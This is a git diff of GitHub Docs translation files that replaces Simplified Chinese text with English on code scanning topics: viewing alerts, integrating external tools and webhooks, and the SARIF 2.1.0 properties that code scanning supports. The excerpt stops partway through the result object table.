variables.product.prodname_code_scanning %} 工作流程添加到仓库，则在合并拉取请求之前，来自该拉取请求的警报不会直接显示在 {% data variables.product.prodname_code_scanning_capc %} 页面上。 如果发现任何警报，您可以在合并拉取请求之前查看这些警报，方法是在 {% data variables.product.prodname_code_scanning_capc %} 页面上的横幅中点击**发现的 _n_ 条警报**链接。 +**Note:** If you raised a pull request to add the {% data variables.product.prodname_code_scanning %} workflow to the repository, alerts from that pull request aren't displayed directly on the {% data variables.product.prodname_code_scanning_capc %} page until the pull request is merged. If any alerts were found you can view these, before the pull request is merged, by clicking the **_n_ alerts found** link in the banner on the {% data variables.product.prodname_code_scanning_capc %} page. {% ifversion fpt or ghes > 3.1 or ghae or ghec %} - ![点击"发现的 n 条警报"链接](/assets/images/help/repository/code-scanning-alerts-found-link.png) + ![Click the "n alerts found" link](/assets/images/help/repository/code-scanning-alerts-found-link.png) {% else %} - ![点击"发现的 n 条警报"链接](/assets/images/enterprise/3.1/help/repository/code-scanning-alerts-found-link.png) + ![Click the "n alerts found" link](/assets/images/enterprise/3.1/help/repository/code-scanning-alerts-found-link.png) {% endif %} {% endnote %} diff --git a/translations/zh-CN/content/code-security/code-scanning/integrating-with-code-scanning/about-integration-with-code-scanning.md b/translations/zh-CN/content/code-security/code-scanning/integrating-with-code-scanning/about-integration-with-code-scanning.md index b12e7bc085..0a120a5059 100644 --- a/translations/zh-CN/content/code-security/code-scanning/integrating-with-code-scanning/about-integration-with-code-scanning.md +++ b/translations/zh-CN/content/code-security/code-scanning/integrating-with-code-scanning/about-integration-with-code-scanning.md @@ -1,7 +1,7 @@ --- -title: 关于与代码扫描的集成 -shortTitle: 关于集成 -intro: '您可以在外部执行 {% data variables.product.prodname_code_scanning %}，然后在 {% data variables.product.prodname_dotcom %} 中显示结果，或者设置侦听仓库中 {% data variables.product.prodname_code_scanning %} 活动的 web 挂钩。' +title: About integration with code scanning +shortTitle: About integration +intro: 'You can perform {% data variables.product.prodname_code_scanning %} externally and then display the results in {% data variables.product.prodname_dotcom %}, or set up webhooks that listen to {% data variables.product.prodname_code_scanning %} activity in your repository.' product: '{% data reusables.gated-features.code-scanning %}' redirect_from: - /github/finding-security-vulnerabilities-and-errors-in-your-code/about-integration-with-code-scanning @@ -19,22 +19,21 @@ topics: - Webhooks - Integration --- - {% data reusables.code-scanning.beta %} {% data reusables.code-scanning.enterprise-enable-code-scanning %} -作为在 {% data variables.product.prodname_dotcom %} 中运行 {% data variables.product.prodname_code_scanning %} 的替代方法，您可以在其他地方执行分析，然后上传结果。 在外部运行的 {% data variables.product.prodname_code_scanning %} 的警报显示方式与在 {% data variables.product.prodname_dotcom %} 内运行的 {% data variables.product.prodname_code_scanning %} 的警报显示方式相同。 更多信息请参阅“[管理仓库的 {% data variables.product.prodname_code_scanning %} 警报](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)”。 +As an alternative to running {% data variables.product.prodname_code_scanning %} within {% data variables.product.prodname_dotcom %}, you can perform analysis elsewhere and then upload the results. Alerts for {% data variables.product.prodname_code_scanning %} that you run externally are displayed in the same way as those for {% data variables.product.prodname_code_scanning %} that you run within {% data variables.product.prodname_dotcom %}. For more information, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)." -如果使用可生成结果为静态分析结果交换格式 (SARIF) 2.1.0 数据的第三方静态分析工具，您可以将其上传到 {% data variables.product.prodname_dotcom %}。 更多信息请参阅“[将 SARIF 文件上传到 GitHub](/code-security/secure-coding/uploading-a-sarif-file-to-github)”。 +If you use a third-party static analysis tool that can produce results as Static Analysis Results Interchange Format (SARIF) 2.1.0 data, you can upload this to {% data variables.product.prodname_dotcom %}. For more information, see "[Uploading a SARIF file to GitHub](/code-security/secure-coding/uploading-a-sarif-file-to-github)." -## 与 web 挂钩集成 +## Integrations with webhooks -You can use {% data variables.product.prodname_code_scanning %} webhooks to build or set up integrations, such as [{% data variables.product.prodname_github_apps %}](/apps/building-github-apps/) or [{% data variables.product.prodname_oauth_apps %}](/apps/building-oauth-apps/), that subscribe to {% data variables.product.prodname_code_scanning %} events in your repository. 例如，您可以构建在 {% data variables.product.product_name %} 上创建议题，或者在仓库中新增 {% data variables.product.prodname_code_scanning %} 警报时向您发送 Slack 通知的集成。 更多信息请参阅“[创建 web 挂钩](/developers/webhooks-and-events/creating-webhooks)”和“[web 挂钩事件和有效负载](/developers/webhooks-and-events/webhook-events-and-payloads#code_scanning_alert)”。 +You can use {% data variables.product.prodname_code_scanning %} webhooks to build or set up integrations, such as [{% data variables.product.prodname_github_apps %}](/apps/building-github-apps/) or [{% data variables.product.prodname_oauth_apps %}](/apps/building-oauth-apps/), that subscribe to {% data variables.product.prodname_code_scanning %} events in your repository. For example, you could build an integration that creates an issue on {% data variables.product.product_name %} or sends you a Slack notification when a new {% data variables.product.prodname_code_scanning %} alert is added in your repository. For more information, see "[Creating webhooks](/developers/webhooks-and-events/creating-webhooks)" and "[Webhook events and payloads](/developers/webhooks-and-events/webhook-events-and-payloads#code_scanning_alert)." -## 延伸阅读 +## Further reading -* "[关于 {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/about-code-scanning)" -* "[将 {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} 与现有的 CI 系统一起使用](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system)" -* "[{% data variables.product.prodname_code_scanning %} 的 SARIF 支持](/code-security/secure-coding/sarif-support-for-code-scanning)" +* "[About {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/about-code-scanning)" +* "[Using {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} with your existing CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system)" +* "[SARIF support for {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/sarif-support-for-code-scanning)" diff --git a/translations/zh-CN/content/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning.md b/translations/zh-CN/content/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning.md index f2f23d4881..dd455f1b35 100644 --- a/translations/zh-CN/content/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning.md +++ b/translations/zh-CN/content/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning.md @@ -1,7 +1,7 @@ --- -title: 对代码扫描的 SARIF 支持 -shortTitle: SARIF 支持 -intro: '要在 {% data variables.product.prodname_dotcom %} 上的仓库中显示第三方静态分析工具的结果，您需要将结果存储在 SARIF 文件中，以支持用于 {% data variables.product.prodname_code_scanning %} 的 SARIF 2.1.0 JSON 架构的特定子集。 如果使用默认 {% data variables.product.prodname_codeql %} 静态分析引擎，结果将自动显示于您在 {% data variables.product.prodname_dotcom %} 上的仓库中。' +title: SARIF support for code scanning +shortTitle: SARIF support +intro: 'To display results from a third-party static analysis tool in your repository on {% data variables.product.prodname_dotcom %}, you''ll need your results stored in a SARIF file that supports a specific subset of the SARIF 2.1.0 JSON schema for {% data variables.product.prodname_code_scanning %}. If you use the default {% data variables.product.prodname_codeql %} static analysis engine, then your results will display in your repository on {% data variables.product.prodname_dotcom %} automatically.' product: '{% data reusables.gated-features.code-scanning %}' miniTocMaxHeadingLevel: 3 redirect_from: @@ -21,173 +21,172 @@ topics: - Integration - SARIF --- - {% data reusables.code-scanning.beta %} {% data reusables.code-scanning.deprecation-codeql-runner %} -## 关于 SARIF 支持 +## About SARIF support -SARIF（数据分析结果交换格式）是定义输出文件格式的 [OASIS 标准](https://docs.oasis-open.org/sarif/sarif/v2.1.0/sarif-v2.1.0.html)。 SARIF 标准用于简化静态分析工具分享其结果的方式。 {% data variables.product.prodname_code_scanning_capc %} 支持 SARIF 2.1.0 JSON 架构的子集。 +SARIF (Static Analysis Results Interchange Format) is an [OASIS Standard](https://docs.oasis-open.org/sarif/sarif/v2.1.0/sarif-v2.1.0.html) that defines an output file format. The SARIF standard is used to streamline how static analysis tools share their results. {% data variables.product.prodname_code_scanning_capc %} supports a subset of the SARIF 2.1.0 JSON schema. -要从第三方静态代码分析引擎上传 SARIF 文件，需确保上传的文件使用 SARIF 2.1.0 版本。 {% data variables.product.prodname_dotcom %} 将剖析 SARIF 文件，并在 {% data variables.product.prodname_code_scanning %} 过程中使用仓库中的结果显示警报。 更多信息请参阅“[将 SARIF 文件上传到 {% data variables.product.prodname_dotcom %}](/code-security/secure-coding/uploading-a-sarif-file-to-github)”。 有关 SARIF 2.1.0 JSON 架构的更多信息，请参阅 [`sarif-schema-2.1.0.json`](https://github.com/oasis-tcs/sarif-spec/blob/master/Documents/CommitteeSpecifications/2.1.0/sarif-schema-2.1.0.json)。 +To upload a SARIF file from a third-party static code analysis engine, you'll need to ensure that uploaded files use the SARIF 2.1.0 version. {% data variables.product.prodname_dotcom %} will parse the SARIF file and show alerts using the results in your repository as a part of the {% data variables.product.prodname_code_scanning %} experience. For more information, see "[Uploading a SARIF file to {% data variables.product.prodname_dotcom %}](/code-security/secure-coding/uploading-a-sarif-file-to-github)." For more information about the SARIF 2.1.0 JSON schema, see [`sarif-schema-2.1.0.json`](https://github.com/oasis-tcs/sarif-spec/blob/master/Documents/CommitteeSpecifications/2.1.0/sarif-schema-2.1.0.json). -如果您结合使用 {% data variables.product.prodname_actions %} 和 {% data variables.product.prodname_codeql_workflow %}，或者使用 {% data variables.product.prodname_codeql_runner %}，则 {% data variables.product.prodname_code_scanning %} 结果将自动使用受支持的 SARIF 2.1.0 子集。 更多信息请参阅“[为仓库设置 {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)”或“[在 CI 系统中运行 {% data variables.product.prodname_codeql_runner %}](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)”。 +If you're using {% data variables.product.prodname_actions %} with the {% data variables.product.prodname_codeql_workflow %} or using the {% data variables.product.prodname_codeql_runner %}, then the {% data variables.product.prodname_code_scanning %} results will automatically use the supported subset of SARIF 2.1.0. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)" or "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)." {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} -如果您使用的是 {% data variables.product.prodname_codeql_cli %}，则可以指定要使用的 SARIF 版本。 更多信息请参阅“[在 CI 系统中配置 {% data variables.product.prodname_codeql_cli %}](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system#analyzing-a-codeql-database)”。{% endif %} +If you're using the {% data variables.product.prodname_codeql_cli %}, then you can specify the version of SARIF to use. For more information, see "[Configuring {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system#analyzing-a-codeql-database)."{% endif %} {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} -您可以为相同的工具和提交上传多个 SARIF 文件，并使用 {% data variables.product.prodname_code_scanning %} 分析每个文件。 您可以在每个文件中指定 `runautomationDetails.id` 来表示每个分析的“类别”。 只有具有相同类别的 SARIF 文件才会相互覆盖。 关于此属性的更多信息，请参阅下面的 [`runAutomationDetails` 对象](#runautomationdetails-object)。 +You can upload multiple SARIF files for the same tool and commit, and analyze each file using {% data variables.product.prodname_code_scanning %}. You can indicate a "category" for each analysis by specifying a `runAutomationDetails.id` in each file. Only SARIF files with the same category will overwrite each other. For more information about this property, see [`runAutomationDetails` object](#runautomationdetails-object) below. {% endif %} -{% data variables.product.prodname_dotcom %} 使用 SARIF 文件中的属性来显示警报。 例如，`shortDescription` 和 `fullDescription` 出现在 {% data variables.product.prodname_code_scanning %} 警报的顶部。 `location` 允许 {% data variables.product.prodname_dotcom %} 在代码文件中显示注释。 更多信息请参阅“[管理仓库的 {% data variables.product.prodname_code_scanning %} 警报](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)”。 +{% data variables.product.prodname_dotcom %} uses properties in the SARIF file to display alerts. For example, the `shortDescription` and `fullDescription` appear at the top of a {% data variables.product.prodname_code_scanning %} alert. The `location` allows {% data variables.product.prodname_dotcom %} to show annotations in your code file. For more information, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)." -如果您是 SARIF 的新用户，想了解更多信息，请参阅 Microsoft 的[`SARIF 教程`](https://github.com/microsoft/sarif-tutorials)库。 +If you're new to SARIF and want to learn more, see Microsoft's [`SARIF tutorials`](https://github.com/microsoft/sarif-tutorials) repository. -## 使用指纹防止重复警报 +## Preventing duplicate alerts using fingerprints -每次上传新的代码扫描结果时，都会处理结果并将警报添加到仓库中。 为防止出现针对同一问题的重复警报，{% data variables.product.prodname_code_scanning %} 使用指纹匹配各个运行的结果，使它们只会出现在所选分支的最新运行中出现一次。 这样可以在编辑文件时将警报与正确的代码行匹配。 +Each time the results of a new code scan are uploaded, the results are processed and alerts are added to the repository. To prevent duplicate alerts for the same problem, {% data variables.product.prodname_code_scanning %} uses fingerprints to match results across various runs so they only appear once in the latest run for the selected branch. This makes it possible to match alerts to the right line of code when files are edited. -{% data variables.product.prodname_dotcom %} 使用 OASIS 标准中的 `partialFingerprints` 属性来检测两个结果在逻辑上是否相同。 更多信息请参阅 OASIS 文档中的 "[partialFingerprints property](https://docs.oasis-open.org/sarif/sarif/v2.1.0/cs01/sarif-v2.1.0-cs01.html#_Toc16012611)" 条目。 +{% data variables.product.prodname_dotcom %} uses the `partialFingerprints` property in the OASIS standard to detect when two results are logically identical. For more information, see the "[partialFingerprints property](https://docs.oasis-open.org/sarif/sarif/v2.1.0/cs01/sarif-v2.1.0-cs01.html#_Toc16012611)" entry in the OASIS documentation. -通过 {% data variables.product.prodname_codeql_workflow %} 或 {% data variables.product.prodname_codeql_runner %} 创建的 SARIF 文件包含指纹数据。 如果使用 `upload-sarif` 操作上传 SARIF 文件且此数据缺少，则 {% data variables.product.prodname_dotcom %} 会尝试从源文件填充 `partialFingerprints` 字段。 有关上传结果的更多信息，请参阅“[将 SARIF 文件上传到 {% data variables.product.prodname_dotcom %}](/code-security/secure-coding/uploading-a-sarif-file-to-github#uploading-a-code-scanning-analysis-with-github-actions)”。 +SARIF files created by the {% data variables.product.prodname_codeql_workflow %} or using the {% data variables.product.prodname_codeql_runner %} include fingerprint data. If you upload a SARIF file using the `upload-sarif` action and this data is missing, {% data variables.product.prodname_dotcom %} attempts to populate the `partialFingerprints` field from the source files. For more information about uploading results, see "[Uploading a SARIF file to {% data variables.product.prodname_dotcom %}](/code-security/secure-coding/uploading-a-sarif-file-to-github#uploading-a-code-scanning-analysis-with-github-actions)." -如果您使用 `/code-scaning/sarifs` API 端点上传无指纹数据的 SARIF 文件，{% data variables.product.prodname_code_scanning %} 警报将被处理并显示，但用户可能会看到重复的警报。 为了避免看到重复的警报，您应该在上传 SARIF 文件之前计算指纹数据并填充 `partialFingerprints` 属性。 您可能发现 `upload-sarif` 操作的脚本使用一个有用的起点：https://github.com/github/codeql-action/blob/main/src/fingprints。 有关 API 的更多信息，请参阅“[将分析作为 SARIF 数据上传](/rest/reference/code-scanning#upload-an-analysis-as-sarif-data)”。 +If you upload a SARIF file without fingerprint data using the `/code-scanning/sarifs` API endpoint, the {% data variables.product.prodname_code_scanning %} alerts will be processed and displayed, but users may see duplicate alerts. To avoid seeing duplicate alerts, you should calculate fingerprint data and populate the `partialFingerprints` property before you upload the SARIF file. You may find the script that the `upload-sarif` action uses a helpful starting point: https://github.com/github/codeql-action/blob/main/src/fingerprints.ts. For more information about the API, see "[Upload an analysis as SARIF data](/rest/reference/code-scanning#upload-an-analysis-as-sarif-data)." -## 验证 SARIF 文件 +## Validating your SARIF file -您可以根据 {% data variables.product.prodname_dotcom %} 引入规则测试 SARIF 文件是否兼容 {% data variables.product.prodname_code_scanning %}。 有关更多信息，请访问 [Microsoft SARIF 验证程序](https://sarifweb.azurewebsites.net/)。 +You can check a SARIF file is compatible with {% data variables.product.prodname_code_scanning %} by testing it against the {% data variables.product.prodname_dotcom %} ingestion rules. For more information, visit the [Microsoft SARIF validator](https://sarifweb.azurewebsites.net/). {% data reusables.code-scanning.upload-sarif-alert-limit %} -## 支持的 SARIF 输出文件属性 +## Supported SARIF output file properties -如果您使用 {% data variables.product.prodname_codeql %} 以外的代码分析引擎，则可以查看受支持的 SARIF 属性来优化您的分析结果在 {% data variables.product.prodname_dotcom %} 中的显示方式。 +If you use a code analysis engine other than {% data variables.product.prodname_codeql %}, you can review the supported SARIF properties to optimize how your analysis results will appear on {% data variables.product.prodname_dotcom %}. -任何有效的 SARIF 2.1.0 输出文件都可以上传，但 {% data variables.product.prodname_code_scanning %} 只使用以下受支持的属性。 +Any valid SARIF 2.1.0 output file can be uploaded, however, {% data variables.product.prodname_code_scanning %} will only use the following supported properties. -### `sarifLog` 对象 +### `sarifLog` object -| 名称 | 描述 | -| --------- | -------------------------------------------------------------------------------------------------------------------------------------- | -| `$schema` | **必需。**2.1.0 版 SARIFJSON 架构的 URI。 例如，`https://raw.githubusercontent.com/oasis-tcs/sarif-spec/master/Schemata/sarif-schema-2.1.0.json`。 | -| `version` | **必选。** {% data variables.product.prodname_code_scanning_capc %} 只支持 SARIF 版本 `2.1.0`。 | -| `runs[]` | **必选。** SARIF 文件包含一个或多个运行的数组。 每个运行代表分析工具的一次运行。 有关 `run` 的更多信息，请参阅 [`run` 对象](#run-object)。 | +| Name | Description | +|----|----| +| `$schema` | **Required.** The URI of the SARIF JSON schema for version 2.1.0. For example, `https://raw.githubusercontent.com/oasis-tcs/sarif-spec/master/Schemata/sarif-schema-2.1.0.json`. | +| `version` | **Required.** {% data variables.product.prodname_code_scanning_capc %} only supports SARIF version `2.1.0`. +| `runs[]` | **Required.** A SARIF file contains an array of one or more runs. Each run represents a single run of an analysis tool. For more information about a `run`, see the [`run` object](#run-object). -### `run` 对象 +### `run` object -{% data variables.product.prodname_code_scanning_capc %} 使用 `run` 对象按工具过滤结果并提供关于结果来源的信息。 `run` 对象包含 `tool.driver` 工具组件对象，该对象包含有关生成结果的工具的信息。 每个 `run` 只能获得一个分析工具的结果。 +{% data variables.product.prodname_code_scanning_capc %} uses the `run` object to filter results by tool and provide information about the source of a result. The `run` object contains the `tool.driver` tool component object, which contains information about the tool that generated the results. Each `run` can only have results for one analysis tool. -| 名称 | 描述 | -| ----------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `tool.driver.name` | **必需。**分析工具的名称。 {% data variables.product.prodname_code_scanning_capc %} 在 {% data variables.product.prodname_dotcom %} 上显示名称，以允许您按工具过滤结果。 | -| `tool.driver.version` | **可选。**分析工具的版本。 {% data variables.product.prodname_code_scanning_capc %} 使用版本号来跟踪何时可能因工具版本的变更而不是所分析代码的变更而导致了结果变化。 如果 SARIF 文件包含 `semanticVersion` 字段，则 {% data variables.product.prodname_code_scanning %} 不使用 `version`。 | -| `tool.driver.semanticVersion` | **可选。**以语义版本 2.0 格式指定的分析工具版本。 {% data variables.product.prodname_code_scanning_capc %} 使用版本号来跟踪何时可能因工具版本的变更而不是所分析代码的变更而导致了结果变化。 如果 SARIF 文件包含 `semanticVersion` 字段，则 {% data variables.product.prodname_code_scanning %} 不使用 `version`。 更多信息请参阅语义版本文档中的“[语义版本 2.0.0](https://semver.org/)”。 | -| `tool.driver.rules[]` | **必需。**用于表示规则的 `reportingDescriptor` 对象数组。 分析工具使用规则来查找所分析代码中的问题。 更多信息请参阅 [`reportingDescriptor` 对象](#reportingdescriptor-object)。 | -| `results[]` | **必需。**分析工具的结果。 {% data variables.product.prodname_code_scanning_capc %} 在 {% data variables.product.prodname_dotcom %} 上显示结果。 更多信息请参阅 [`result` 对象](#result-object)。 | +| Name | Description | +|----|----| +| `tool.driver.name` | **Required.** The name of the analysis tool. {% data variables.product.prodname_code_scanning_capc %} displays the name on {% data variables.product.prodname_dotcom %} to allow you to filter results by tool. | +| `tool.driver.version` | **Optional.** The version of the analysis tool. {% data variables.product.prodname_code_scanning_capc %} uses the version number to track when results may have changed due to a tool version change rather than a change in the code being analyzed. If the SARIF file includes the `semanticVersion` field, `version` is not used by {% data variables.product.prodname_code_scanning %}. | +| `tool.driver.semanticVersion` | **Optional.** The version of the analysis tool, specified by the Semantic Versioning 2.0 format. {% data variables.product.prodname_code_scanning_capc %} uses the version number to track when results may have changed due to a tool version change rather than a change in the code being analyzed. If the SARIF file includes the `semanticVersion` field, `version` is not used by {% data variables.product.prodname_code_scanning %}. For more information, see "[Semantic Versioning 2.0.0](https://semver.org/)" in the Semantic Versioning documentation. | +| `tool.driver.rules[]` | **Required.** An array of `reportingDescriptor` objects that represent rules. The analysis tool uses rules to find problems in the code being analyzed. For more information, see the [`reportingDescriptor` object](#reportingdescriptor-object). | +| `results[]` | **Required.** The results of the analysis tool. {% data variables.product.prodname_code_scanning_capc %} displays the results on {% data variables.product.prodname_dotcom %}. For more information, see the [`result` object](#result-object). -### `reportingDescriptor` 对象 +### `reportingDescriptor` object -| 名称 | 描述 | -| ------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| `id` | **必需。**规则的唯一标识符。 `id` 是从 SARIF 文件的其他部分引用的，可能被 {% data variables.product.prodname_code_scanning %} 用于在 {% data variables.product.prodname_dotcom %} 上显示 URL。 | -| `name` | **可选。**规则的名称。 {% data variables.product.prodname_code_scanning_capc %} 显示名称，以允许按 {% data variables.product.prodname_dotcom %} 上的规则过滤结果。 | -| `shortDescription.text` | **必需。**规则的简要说明。 {% data variables.product.prodname_code_scanning_capc %} 在 {% data variables.product.prodname_dotcom %} 上的相关结果旁边显示简短说明。 | -| `fullDescription.text` | **必需。**规则的说明。 {% data variables.product.prodname_code_scanning_capc %} 在 {% data variables.product.prodname_dotcom %} 上的相关结果旁边显示完整说明。 最大字符数限制为 1000。 | -| `defaultConfiguration.level` | **可选。**规则的默认严重级别。 {% data variables.product.prodname_code_scanning_capc %} 使用严重级别帮助您了解结果对于给定规则的严重程度。 此值可用 `result` 对象中的 `level` 属性进行覆盖。 更多信息请参阅 [`result` 对象](#result-object)。 默认值：`warning`。 | -| `help.text` | **必需。**使用文本格式的规则文档。 {% data variables.product.prodname_code_scanning_capc %} 在相关结果旁边显示此帮助文档。 | -| `help.markdown` | **推荐。**使用 Markdown 格式的规则文档。 {% data variables.product.prodname_code_scanning_capc %} 在相关结果旁边显示此帮助文档。 当 `help.markdown` 可用时，将显示它，而不是 `help.text`。 | -| `properties.tags[]` | **可选。**字符串数组。 {% data variables.product.prodname_code_scanning_capc %} 使用 `tags` 允许您在 {% data variables.product.prodname_dotcom %} 上过滤结果。 例如，可以过滤带标记 `security` 的所有结果。 | -| `properties.precision` | **推荐。**一个字符串，表示此规则指示的结果为真的频率。 例如，如果已知某项规则的误报率较高，则其准确性应为 `low`。 {% data variables.product.prodname_code_scanning_capc %} 在 {% data variables.product.prodname_dotcom %} 上按准确性对结果进行排序，使具有最高 `level` 和最高 `precision` 的结果显示在最前面。 可以是以下值之一：`very-high`、`high`、`medium` 或 `low`。 |{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} -| `properties.problem.severity` | **Recommended.** A string that indicates the level of severity of any alerts generated by a non-security query. This, with the `properties.precision` property, determines whether the results are displayed by default on {% data variables.product.prodname_dotcom %} so that the results with the highest `problem.severity`, and highest `precision` are shown first. Can be one of: `error`, `warning`, or `recommendation`. | -| `properties.security-severity` | **Recommended.** A score that indicates the level of severity, between 0.0 and 10.0, for security queries (`@tags` includes `security`). This, with the `properties.precision` property, determines whether the results are displayed by default on {% data variables.product.prodname_dotcom %} so that the results with the highest `security-severity`, and highest `precision` are shown first. {% data variables.product.prodname_code_scanning_capc %} translates numerical scores as follows: over 9.0 is `critical`, 7.0 to 8.9 is `high`, 4.0 to 6.9 is `medium` and 3.9 or less is `low`. {% endif %} +| Name | Description | +|----|----| +| `id` | **Required.** A unique identifier for the rule. The `id` is referenced from other parts of the SARIF file and may be used by {% data variables.product.prodname_code_scanning %} to display URLs on {% data variables.product.prodname_dotcom %}. | +| `name` | **Optional.** The name of the rule. {% data variables.product.prodname_code_scanning_capc %} displays the name to allow results to be filtered by rule on {% data variables.product.prodname_dotcom %}. | +| `shortDescription.text` | **Required.** A concise description of the rule. {% data variables.product.prodname_code_scanning_capc %} displays the short description on {% data variables.product.prodname_dotcom %} next to the associated results. +| `fullDescription.text` | **Required.** A description of the rule. {% data variables.product.prodname_code_scanning_capc %} displays the full description on {% data variables.product.prodname_dotcom %} next to the associated results. The max number of characters is limited to 1000. +| `defaultConfiguration.level` | **Optional.** Default severity level of the rule. {% data variables.product.prodname_code_scanning_capc %} uses severity levels to help you understand how critical the result is for a given rule. This value can be overridden by the `level` attribute in the `result` object. For more information, see the [`result` object](#result-object). Default: `warning`. +| `help.text` | **Required.** Documentation for the rule using text format. {% data variables.product.prodname_code_scanning_capc %} displays this help documentation next to the associated results. +| `help.markdown` | **Recommended.** Documentation for the rule using Markdown format. {% data variables.product.prodname_code_scanning_capc %} displays this help documentation next to the associated results. When `help.markdown` is available, it is displayed instead of `help.text`. +| `properties.tags[]` | **Optional.** An array of strings. {% data variables.product.prodname_code_scanning_capc %} uses `tags` to allow you to filter results on {% data variables.product.prodname_dotcom %}. For example, it is possible to filter to all results that have the tag `security`. +| `properties.precision` | **Recommended.** A string that indicates how often the results indicated by this rule are true. For example, if a rule has a known high false-positive rate, the precision should be `low`. {% data variables.product.prodname_code_scanning_capc %} orders results by precision on {% data variables.product.prodname_dotcom %} so that the results with the highest `level`, and highest `precision` are shown first. Can be one of: `very-high`, `high`, `medium`, or `low`. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +| `properties.problem.severity` | **Recommended.** A string that indicates the level of severity of any alerts generated by a non-security query. This, with the `properties.precision` property, determines whether the results are displayed by default on {% data variables.product.prodname_dotcom %} so that the results with the highest `problem.severity`, and highest `precision` are shown first. Can be one of: `error`, `warning`, or `recommendation`. +| `properties.security-severity` | **Recommended.** A score that indicates the level of severity, between 0.0 and 10.0, for security queries (`@tags` includes `security`). This, with the `properties.precision` property, determines whether the results are displayed by default on {% data variables.product.prodname_dotcom %} so that the results with the highest `security-severity`, and highest `precision` are shown first. {% data variables.product.prodname_code_scanning_capc %} translates numerical scores as follows: over 9.0 is `critical`, 7.0 to 8.9 is `high`, 4.0 to 6.9 is `medium` and 3.9 or less is `low`. {% endif %} -### `result` 对象 +### `result` object {% data reusables.code-scanning.upload-sarif-alert-limit %} -| 名称 | 描述 | -| --------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `ruleId` | **可选。**规则的唯一标识符 (`reportingDescriptor.id`)。 更多信息请参阅 [`reportingDescriptor` 对象](#reportingdescriptor-object)。 {% data variables.product.prodname_code_scanning_capc %} 使用规则标识符在 {% data variables.product.prodname_dotcom %} 上按规则过滤结果。 | -| `ruleIndex` | **可选。**工具组件 `rules` 数组中相关规则（`reportingDescriptor` 对象）的索引。 更多信息请参阅 [`run` 对象](#run-object)。 | -| `rule` | **可选。**用于定位此结果的规则 (reportingdescriptor) 的引用。 更多信息请参阅 [`reportingDescriptor` 对象](#reportingdescriptor-object)。 | -| `level` | **可选。**结果的严重程度。 此级别覆盖规则定义的默认严重程度。 {% data variables.product.prodname_code_scanning_capc %} 使用级别在 {% data variables.product.prodname_dotcom %} 上按严重程度过滤结果。 | -| `message.text` | **必选。**描述结果的消息。 {% data variables.product.prodname_code_scanning_capc %} 显示消息文本作为结果的标题。 当可见空间有限时，仅显示消息的第一句。 | -| `locations[]` | **必填。**>最多可以检测到 10 个结果的位置集。 应只包含一个位置，除非只能通过在每个指定位置进行更改来更正问题。 **注：**{% data variables.product.prodname_code_scanning %} 至少需要一个位置才能显示结果。 {% data variables.product.prodname_code_scanning_capc %} 将使用此属性来决定要用结果注释哪个文件。 仅使用此数组的第一个值。 所有其他值都被忽略。 | -| `partialFingerprints` | **必选。**用于跟踪结果的唯一标识的一组字符串。 {% data variables.product.prodname_code_scanning_capc %} 使用 `partialFingerprints` 准确地识别在提交和分支之间相同的结果。 {% data variables.product.prodname_code_scanning_capc %} 将尝试使用 `partialFingerprints`（如果存在）。 如果您使用 `upload-action` 上传第三方 SARIF 文件，该操作将为您创建 `partialFingerprints`（如果它们未包含在 SARIF 文件中）。 更多信息请参阅“[使用指纹防止重复警报](#preventing-duplicate-alerts-using-fingerprints)”。 **注：**{% data variables.product.prodname_code_scanning_capc %} 只使用 `primaryLocationLineHash`。 | -| `codeFlows[].threadFlows[].locations[]` | **可选。**`threadFlow` 对象的 `location` 对象数组，它描述程序通过执行线程的进度。 `codeFlow` 对象描述用于检测结果的代码执行模式。 如果提供了代码流，{% data variables.product.prodname_code_scanning %} 将在 {% data variables.product.prodname_dotcom %} 上扩展代码流以获取相关结果。 更多信息请参阅 [`location` 对象](#location-object)。 | -| `relatedLocations[]` | 与此结果相关的一组位置。 当相关位置嵌入在结果消息中时，{% data variables.product.prodname_code_scanning_capc %} 将链接到这些位置。 更多信息请参阅 [`location` 对象](#location-object)。 | +| Name | Description | +|----|----| +| `ruleId`| **Optional.** The unique identifier of the rule (`reportingDescriptor.id`). For more information, see the [`reportingDescriptor` object](#reportingdescriptor-object). {% data variables.product.prodname_code_scanning_capc %} uses the rule identifier to 